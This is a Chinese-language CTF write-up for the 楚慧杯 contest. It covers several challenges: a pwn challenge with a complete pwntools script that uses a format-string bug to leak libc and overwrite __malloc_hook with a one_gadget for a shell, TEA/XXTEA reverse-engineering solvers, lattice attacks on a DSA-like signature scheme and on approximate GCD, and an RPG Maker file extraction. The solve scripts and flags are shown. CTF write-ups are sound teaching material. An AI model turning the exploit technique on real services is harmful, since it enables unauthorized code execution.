楚慧杯PWN、RE、Crypto与Misc部分题解
简单分享一下自己在比赛中的解题过程和理解
前言
去年打过一次楚慧杯,由于知识基础不扎实,爆零坐牢了一天。想着今年冲一下看看,结果又被打爆了,真的是高手如云,还得在练。这里分享一下我在本次比赛中的解题记过程。
pwn
house_1
保护全开,libc是2.31版本。给了fmt洞,拿到libc地址,吧malloc_hook算出。
然后用fmtstr_payload直接劫持malloc_hook为ogg即可
当然还有打法2,可以利用read中的全局变量来 打rop链,更加简单


from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('45.40.247.139',22356)
libc = ELF('./libc.so.6')
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"
p.recvuntil(">> ")
p.sendline(b'2')
pay = b'%21$p-%26$p'
#gdb.attach(p, 'b *$rebase(0x139B)')
p.sendline(pay)
p.recvuntil("the name is:\n")
leak_data = p.recvline().strip().split(b'-')
libc_base = int(leak_data[0], 16) - 0x24083
log.success(xilker(f'lbic_base-->{hex(libc_base)}'))
base = int(leak_data[1], 16) - 0x14A0
log.success(xilker(f'base-->{hex(base)}'))
libc.address = libc_base
malloc_hook = libc.sym['__malloc_hook']
one_gadget = libc_base + 0xe3b01 # 0x, 0xe3b04
log.success(xilker(f'lbic_base-->{hex(malloc_hook)}'))
def fmt_write(addr, value):
p.recvuntil(">> ")
p.sendline(b'2')
pay = fmtstr_payload(6, {addr: value}, write_size='short')
p.sendlineafter("Please write your name:\n", pay)
fmt_write(malloc_hook, one_gadget & 0xffff)
fmt_write(malloc_hook + 2, (one_gadget >> 16) & 0xffff)
#gdb.attach(p, 'b *$rebase(0x139B)')
fmt_write(malloc_hook + 4, (one_gadget >> 32) & 0xffff)
p.recvuntil(">> ")
p.sendline(b'1')
p.interactive()
Reverse
眼见为虚_1
一看题目,逆向手第一反应肯定就能想到TLS回调或者SMC,看一眼tlscallback,发现没逻辑调用
主逻辑很简单

两个tls都会走这个函数里面也是正常的

跟一下主函数的key_create部分,发现这里构造两个虚表函数调用 两个函数是一个魔改tea,一个是异或的某种处理,是一个经典的C++ 构造函数



可以看到input后会call rdx,这里调用的是2A18函数,也就是先进行了魔改tea加密,num是每轮加不是减

![]()
此时来到第二个call edx, 这里此时调用的函数是2AFC

![]()
和上面静态看到的一模一样,直接逆向先进行tea加密得到mask在拿着mask异或密文得到明文

逻辑就是 四个常量算出 32 轮后的 State。[vtable+0] -> sub_402A18然后在取前8字节Mask然后与输入进行异或[vtable+4] -> sub_402AFC,逆向就是与密文异或得到真实flag
import struct
# sub_402B68 中的 10 个 dword 常量
vals = [
32003635,
-1545304977,
646869827,
-1577193378,
545813781,
-1515805688,
596145429,
-251989923,
1977512257,
-386293495,
]
target = b''.join(struct.pack('<I', x & 0xffffffff) for x in vals)[:40]
# 初始状态
v0 = 0x18274A3A
v1 = 0x24F8D42F
# 4 个 key
k0 = 0x9C8793BF
k1 = 0xBB5C1044
k2 = 0x2FEA4F74
k3 = 0xA142ED8B
# sub_402A18
s = 0
for _ in range(32):
v0 = (v0 + (((v1 + s) ^ ((v1 << 4) + k0) ^ ((v1 >> 5) + k1)))) & 0xffffffff
s = (s + 0xDEADBEEF) & 0xffffffff
v1 = (v1 - (((v0 + s) ^ ((v0 << 4) + k2) ^ ((v0 >> 5) + k3)))) & 0xffffffff
state = struct.pack('<II', v0, v1)
# sub_402AFC 的掩码
mask = bytes(((b + 0x1B) & 0xff) for b in state)
# 逆异或
plain = bytes(target[i] ^ mask[i % 8] for i in range(40))
print(plain.decode())
print("inner =", plain.decode()[7:-1])
eazy_code-new
超级powershell混淆
${-``}
${$%}
.${-``}
${$%}${``*%}${``*%}
前半部分
${]}= 0${!;*}= 1${*@ }= 2${=$``}= 3${ ]}= 4${!}= 5${#.}= 6${(}= 7${)``}= 8${``*%}= 9
${$%} 被拼成了 [char] 它们转回 ASCII 后 就可以看到真实逻辑,其中有个e()函数是tea系列,密文是ans
ans=[1374278842, 2136006540, 4191056815, 3248881376]
flag=input('Please input flag:')
res=check(flag,ans)
if res:
print("Flag is DASCTF{your_input}!")写脚本解密即可
DELTA = 0x87654321
KEY = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]
def MX(z, y, total, key, p, e):
return ((((z >> 6) ^ ((y << 4) & 0xffffffff)) +
((y >> 2) ^ ((z << 5) & 0xffffffff))) ^
(((total ^ y) + (key[(p & 3) ^ e] ^ z)) & 0xffffffff)) & 0xffffffff
def decrypt(v):
v = v[:]
n = len(v)
rounds = 6 + 52 // n
total = (rounds * DELTA) & 0xffffffff
y = v[0]
while total != 0:
e = (total >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
y = (v[p] - MX(z, y, total, KEY, p, e)) & 0xffffffff
v[p] = y
z = v[n - 1]
y = (v[0] - MX(z, y, total, KEY, 0, e)) & 0xffffffff
v[0] = y
total = (total - DELTA) & 0xffffffff
return v
ans = [1374278842, 2136006540, 4191056815, 3248881376]
plain = decrypt(ans)
s = b''.join(x.to_bytes(4, 'little') for x in plain)
print(s.decode())
# yOUar3g0oD@tPw5HCRYPTO
Flip
类 DSA 的签名方案,但在模p下直接进行运算,i 是循环索引 (0 到 4),r和 s 是已知的签名对 ,d 是我们要寻找的 Flag。由于 部分比特已知 y_m 非常小(远小于 p),为格基规约(Lattice Reduction)提供了空间。
消去未知数 减少格的维度,利用 时的方程消去 :由 得:。代入 的方程:。
最终得到:。接着我们将 平移到中心
设 ,在整数格中我们取 ,使得 。
格基矩阵 B 的构造我们需要构造一个包含 个微小变量 (5 组签名 32 字节)以及 4 个模数进位项 的格。
目标是寻找一个短向量,使得满足:
# 题目提供的输出数据
p = 71100374110712069688668891376502810245640088780564855438789152163485489371751
sigs = [
(28285613871231310640779639473901158789539111552315215487796222768188014946190, 26227626146853365468070394748025813676883717455365705026242089396817666141149),
(26126343100952318312992351606027346470307966676167073519850533997742307763173, 14620119507969980035515863104967829444815591632534197769232561325577348982289),
(6275780641102104914321094704687354889900656957520025439748906503860424049255, 17138154832682193571532283943639841813795519294633367500729430287205754722383),
(70074830218018060401156682458161679247596227822712273801560023880579237944207, 7241759400261146571231207923652617524886465143836459562831120970876560955603),
(58010164614616186321967235608825740148005793483553468415042960153988671899689, 11042506367122208018546854524444698969622593890076172637272391555458027253012)
]
U, V = [], []
for i in range(5):
r, s = sigs[i]
r_inv = inverse_mod(r, p)
U.append((s * r_inv) % p)
V.append((i * r_inv) % p)
M, N = [], []
for i in range(5):
u_inv = inverse_mod(U[i], p)
M.append((U[0] * u_inv) % p)
N.append(((V[i] - V[0]) * u_inv) % p)
K_base = sum(168 * (2**(8*m)) for m in range(32))
S = sum(3 * (2**(8*m)) for m in range(32))
W_prime = []
for i in range(5):
W_i = (M[i] * K_base + N[i] - K_base) % p
W_prime.append((W_i + M[i]*S - S) % p)
dim = 32 + 4 * 32 + 4 + 1
B = matrix(ZZ, dim, dim)
# 修正 1:降低惩罚系数防止浮点精度溢出
K = 2**64
for j in range(32):
B[j, j] = 1
for eq in range(1, 5):
col = 160 + eq - 1
B[j, col] = -((M[eq] * (2**(8*j))) % p) * K
for j in range(32, 160):
B[j, j] = 1
i = (j - 32) // 32 + 1
m = (j - 32) % 32
col = 160 + i - 1
B[j, col] = (2**(8*m)) * K
for j in range(160, 164):
eq = j - 159
col = 160 + eq - 1
B[j, col] = p * K
B[164, 164] = 1
for eq in range(1, 5):
col = 160 + eq - 1
B[164, col] = -W_prime[eq] * K
print("正在运行 BKZ 强力规约,大概需要 30 秒到 1 分钟...")
# 修正 2:使用 BKZ 代替基础 LLL
B_red = B.BKZ(block_size=20)
found = False
for row in B_red:
if row[-1] in [1, -1]:
if row[-1] == -1:
row = -row
z0 = [row[j] for j in range(32)]
# 宽容度检查,考虑到格基规约可能存在的微小波动
if all(-4 <= z <= 5 for z in z0):
print("=> 成功揪出目标向量!")
y0 = [round(z) + 3 for z in z0]
k0 = K_base + sum(y0[m] * (2**(8*m)) for m in range(32))
r0, s0 = sigs[0]
d = (k0 * s0) % p * inverse_mod(r0, p) % p
d_int = int(d)
flag_bytes = d_int.to_bytes((d_int.bit_length() + 7) // 8, 'big')
print("=> 解析出的内部字符:", flag_bytes)
found = True
break
if not found:
print("未匹配到严格条件,打印前两个向量的头部数据供调试:")
for row in B_red[:2]:
print([row[j] for j in range(5)], "..., 尾部:", row[-1])可以解出其中的flag
![]()
GCD,杠上了
正交格攻击 我们可以通过构造正交格(Orthogonal Lattice Attack)来抹去 的影响,直接还原出 。
找到一组整数系数 ,使得 ,那么:因为 p 是一个极大的数,而误差项总和相对较小,要使得这个等式成立,可以得到:
构造如下矩阵进行 LLL 规约:
经过 LLL 规约后,矩阵的前 行就是我们找到的线性组合关系(即 向量)。因为这些 向量都满足 (即 与 正交),将这些 向量拼成一个矩阵,求它的右零空间。该零空间的一维基底就是我们寻找的 向量的整数倍(通常直接就是 )。
恢复 :拿到 后,直接使用 并四舍五入,就能剥离掉误差 ,还原出目标 。
根据题目要求,计算出正确的flag
![]()
from hashlib import sha256
XS = [
7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760,
5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630,
6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003,
5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691,
]
k = len(XS)
ETA = 768
# SageMath 中求 bit_length 使用 .nbits()
N = 1 << (max(Integer(x).nbits() for x in XS) + ETA + 1)
M = matrix(ZZ, k + 1, k + 1)
for i in range(k):
M[i, i] = 1
M[i, k] = XS[i]
M[k, k] = N
L = M.LLL()
# 3. 提取前 k-1 行的正交向量关系,并丢弃最后一列(误差列)
short_rows = L[:k-1, :k]
# 4. 关键点:求这 k-1 个短向量的右零空间(Right Kernel)
# 零空间的基础向量就是各个 X_i 对应的 q_i
ker = short_rows.right_kernel().basis()[0]
# 取出 q0(取绝对值避免符号偏差)
q0 = abs(ker[0])
# 5. 计算目标 p
# x = p*q + e,做除法并四舍五入抹平 e
p = round(XS[0] / q0)
print(f"p = {p}")
# 校验并输出 flag
flag = f"DASCTF{{{sha256(hex(p).encode()).hexdigest()[:32]}}}"
print(f"flag: {flag}")
misc
go-gane
一开始给的exe是一个自解压的程序,里面套了一个exe,010打开在末尾看到了
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
with open("gamego.exe", "rb") as f:
data = f.read()
pos = data.find(b"MSCF")
if pos == -1:
raise SystemExit("[-] CAB header 'MSCF' not found")
with open("payload.cab", "wb") as f:
f.write(data[pos:])
print(f"[+] CAB extracted at offset 0x{pos:x} -> payload.cab")
![]()
7z提出来游戏文件,搜一下文件目录结构可以知道是RPG Maker VX Ace 项目


.rvdata2 文件本质上是 RPG Maker 使用 Ruby Marshal 序列化后的二进制资源
搜一下资料可以知道,一般来说:
- 地图事件:
MapXXX.rvdata2 - 常藏提示、对话、机关逻辑;
- 脚本:
Scripts.rvdata2 - 常藏自定义 flag 生成逻辑;
- 数据库:
Weapons/Items/Actors等 - 常直接塞字符串。
接着玩一下游戏退出就能拿到后半部分flag, 示里已经明确说了不是标准 UUID 格式 ,所以我们需要找前半部分flag

定位到这个文件
![]()
先fuzz一下看看有没有有用信息,结果直接发现了flag前半部分
![]()

或者ruby脚本看
ruby - <<'RUBY'
data = Marshal.load(File.binread('Data/Weapons.rvdata2'))
obj = data.compact.first
p obj.class
p obj.instance_variables
RUBY拼接即可
DASCTF{1168cb17-31ff-43b7--b586-8414d383afce}
涵盖house_1格式化字符串利用、眼见为虚_1 TLS+SMC逆向、Flip DSA格攻击、GCD正交格攻击及RPG Maker游戏取证等多题详解。
由 AI 根据全文自动生成,仅供参考,以原文为准